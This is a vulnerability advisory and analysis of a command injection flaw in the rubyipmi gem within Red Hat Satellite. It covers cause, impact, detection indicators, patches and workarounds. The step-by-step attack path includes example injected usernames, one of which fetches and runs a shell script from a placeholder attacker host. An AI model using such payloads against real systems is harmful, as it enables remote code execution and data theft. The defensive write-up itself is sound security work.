CVE-2026-0980: 
Ruby vulnerability analysis and mitigation

CVE-2026-0980 is an OS command injection vulnerability in the rubyipmi Ruby gem (versions ≤ 0.12.1), which is used in the Baseboard Management Controller (BMC) component of Red Hat Satellite. An authenticated attacker with host creation or update permissions can exploit this flaw by supplying a crafted malicious username for the BMC interface, leading to remote code execution (RCE) on the affected system. The vulnerability was reported on January 15, 2026, and publicly disclosed on February 27, 2026. Affected products include Red Hat Satellite 6.x (specifically confirmed in 6.16, 6.17, and 6.18) and the upstream rubyipmi gem up to and including version 0.12.1. The CVSS v3.1 base score is 8.8 (High) (Red Hat CVE, Red Hat Bugzilla).

The root cause is improper neutralization of special elements used in OS commands (CWE-78), specifically within the rubyipmi gem when it processes the BMC username field. When Satellite uses ipmitool as the IPMI implementation and the BMC component is enabled, the username value is passed unsanitized to an underlying shell command. An attacker can inject shell metacharacters (e.g., semicolons or command separators) into the BMC username field — for example, setting the username to admin; touch /var/log/foreman-proxy/hacked — which causes arbitrary OS commands to execute when Foreman fetches the BMC status. Exploitation requires: (1) Satellite deployed with --foreman-proxy-bmc true, (2) ipmitool configured as the IPMI implementation, and (3) the attacker holding host create or edit permissions in Satellite (not full admin) (Red Hat Bugzilla, Red Hat CVE).

Successful exploitation allows an authenticated attacker to execute arbitrary OS commands with the privileges of the foreman-proxy service account on the Satellite server. This can result in full system compromise, including unauthorized data access (confidentiality), modification of system files and configurations (integrity), and disruption of Satellite management services (availability). Given that Red Hat Satellite is a central infrastructure management platform, a compromised instance could enable lateral movement to all managed hosts and expose sensitive provisioning credentials and configuration data (Red Hat Bugzilla, Red Hat CVE).

As of the time of disclosure, there is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation (Red Hat CVE). The EPSS score is approximately 0.202%, indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. Exploitation requires authenticated access with specific host management permissions, which limits the attack surface compared to unauthenticated vulnerabilities.

1. Reconnaissance: Identify a Red Hat Satellite instance with the BMC component enabled (--foreman-proxy-bmc true) and ipmitool configured as the IPMI provider. Confirm that the attacker account holds host creation or update permissions in Satellite.
2. Craft malicious BMC username: Prepare a BMC interface username containing OS command injection payload, e.g., admin; <malicious_command> (such as admin; curl http://attacker.com/shell.sh | bash or admin; touch /var/log/foreman-proxy/hacked).
3. Create or update a host with the malicious BMC interface: Log into the Satellite web UI or use the Satellite API to create a new host (or update an existing one), configuring a BMC interface with the crafted malicious username.
4. Trigger BMC status refresh: Cause Foreman to fetch the BMC status for the host — this can be done by refreshing the host in the Satellite UI or triggering a host facts refresh. This causes rubyipmi to pass the unsanitized username to ipmitool via a shell command.
5. Achieve RCE: The injected shell command executes on the Satellite server with the privileges of the foreman-proxy process, enabling reverse shell establishment, data exfiltration, or further lateral movement to managed hosts (Red Hat Bugzilla).

• Logs: Unexpected entries in /var/log/foreman-proxy/proxy.log showing BMC-related command execution with unusual usernames containing shell metacharacters (e.g., semicolons, pipes, backticks); foreman-proxy logs showing errors or unexpected output from ipmitool invocations.
• File System: Unexpected files created in /var/log/foreman-proxy/ or other directories writable by the foreman-proxy user; new cron jobs, scripts, or binaries placed by the foreman-proxy service account; web shells or backdoors in Satellite application directories.
• Process: Unusual child processes spawned by the foreman-proxy process (e.g., bash, sh, curl, wget, python, nc) visible in process listings; unexpected outbound network connections from the Satellite server.
• Network: Outbound connections from the Satellite server to unknown external IPs or domains, particularly shortly after a host BMC status refresh event.

Red Hat has released patched versions of rubygem-rubyipmi (version 0.13.0) addressing this vulnerability. The fix is included in the following Satellite async updates, all issued on March 26, 2026:

• Red Hat Satellite 6.18.4 (RHEL 9): via RHSA-2026:5968
• Red Hat Satellite 6.17.7 (RHEL 9): via RHSA-2026:5970
• Red Hat Satellite 6.16.7 (RHEL 8 and RHEL 9): via RHSA-2026:5971

As a workaround prior to patching, switch the IPMI implementation from ipmitool to freeipmi, which is not affected by this injection. Additionally, restrict host creation and update permissions to only trusted administrators, and limit network access to the BMC component where possible (Red Hat Bugzilla, RHSA-2026:5968).

The vulnerability received routine coverage from security aggregators and automated CVE feeds shortly after disclosure in late February 2026, including posts on RedPacketSecurity and mentions on Bluesky and Mastodon. No notable independent researcher commentary or significant media coverage beyond standard vulnerability tracking has been identified. The Ruby security advisory database (rubysec.com) and GitLab advisory database also published advisories for the affected gem (Red Hat CVE).